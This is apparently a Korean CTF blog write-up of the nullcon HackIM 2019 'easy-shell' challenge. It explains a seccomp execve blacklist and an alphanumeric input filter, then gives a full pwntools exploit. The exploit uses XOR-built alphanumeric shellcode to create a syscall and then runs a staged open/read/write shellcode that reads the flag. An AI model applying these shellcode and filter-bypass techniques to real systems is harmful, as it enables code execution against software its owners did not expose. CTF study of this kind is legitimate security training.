nullcon hackim 2019 easy-shell
sandox
관련 문제와 멀어져 있던 나를 다시 가까워지게 만들어준 고마운?! 문제이다.
대회 당시에는 풀지 못했어서 라업을 보고 다시 풀어본다.
init_array
에 prctl
이 걸려있다.
PR_SET_SECCOMP
, SECCOMP_MODE_FILTER
로 prctl
이 걸려있으니 fprog
를 디버깅 해보자.
seccomp
디버깅 관련해서 아주 좋은 툴을 david942j
님이 개발해 두셨다.
https://github.com/david942j/seccomp-tools
strace
로 바이너리를 실행시켜보면
위와 같이 prctl
이 걸리는걸 확인할 수 있는데 이를 ptrace
syscall
을 이용하여 잡아내 disassemble
해주는 툴인가 보다. ( hooking인듯..? )
어쨋든 이를 이용하여 fprog bpf
를 확인해 보면 위와 같다.
x86_64
arch여야 하며 execve
가 막혀있다. ( blacklist )
mmap
으로 rwx
섹터를 만들어 주고 여따 입력을 받는다.
입력을 받고 해당 공간을 가르키는 함수 포인터를 호출해주는데 문제는..
우리의 입력을 __ctype_b_loc
함수로 막아두고 있다. 특수문자 사용이 불가능하다.
즉, 쉘코드를 alphanumeric
으로 짜야 한다.
근데 또, 문제는 syscall
이 \x0f\x05
라는 것이다. 이걸 어떻게 alphanumeric
으로 짤까 생각하다가 졸려서 잠들었었다..
알게된 방법은, 미리 메모리에 alphanumeric
값을 써놓은 후 이를 xor
하여 \x0f\x05
로 바꾸는 것이다.
들어보지도 못했고 써보지도 못했던 기법이라 새 지식을 얻은 것 같아 좋다.
그렇게 syscall
을 만든 후 push rax; pop rax
를 통해 여분의 쉘 코드 공간을 만들어줬다.
그리고 read를 콜해서 쉘코드를 다시 쓰고나서 쉘코드의 처음 주소로 다시 뛰어 execveat("/bin//sh")
쉘코드로 쉘을 따는가 했지만
난생 처음보는 오류가 발생했다.
mmap
때문도 아니고 prctl
때문도 아니다.
대체 뭐가 문제인지 모르겠다.. 정말 궁금하다
일단 그래서 shellcraft
를 이용하여 orw
쉘코드를 짜서 flag
를 읽었다.
from pwn import *
context.clear(arch='amd64')
e = ELF('./gg')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sc = asm("""
push rsi
pop rcx
xor al, 0x36
xor byte ptr [rcx + 0x68], al
push rdi
pop rax
xor al, 0x30
xor byte ptr [rcx + 0x69], al
push rdi
pop rax
""")
while len(sc) < 0x68:
sc += asm('push rax; pop rax')
sc += "95V" # xor & push rsi
s.send(sc)
sc = shellcraft.push(0x67616c662f2e) # ./flag
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 100)
sc += shellcraft.write(1, 'rsp', 100)
sc = asm(sc)
sleep(0.5)
s.send(sc.ljust(0x56, 'A'))
io()
(임의로 만든 flag)
'system > writeup' 카테고리의 다른 글
2016 belluminar remuheap (0) | 2019.02.06 |
---|---|
2014 31c3 mynx (0) | 2019.02.04 |
nullcon hackim 2019 tudutudututu (0) | 2019.02.03 |
nullcon hackim 2019 babypwn (0) | 2019.02.03 |
nullcon hackim 2019 hackim shop (2) | 2019.02.03 |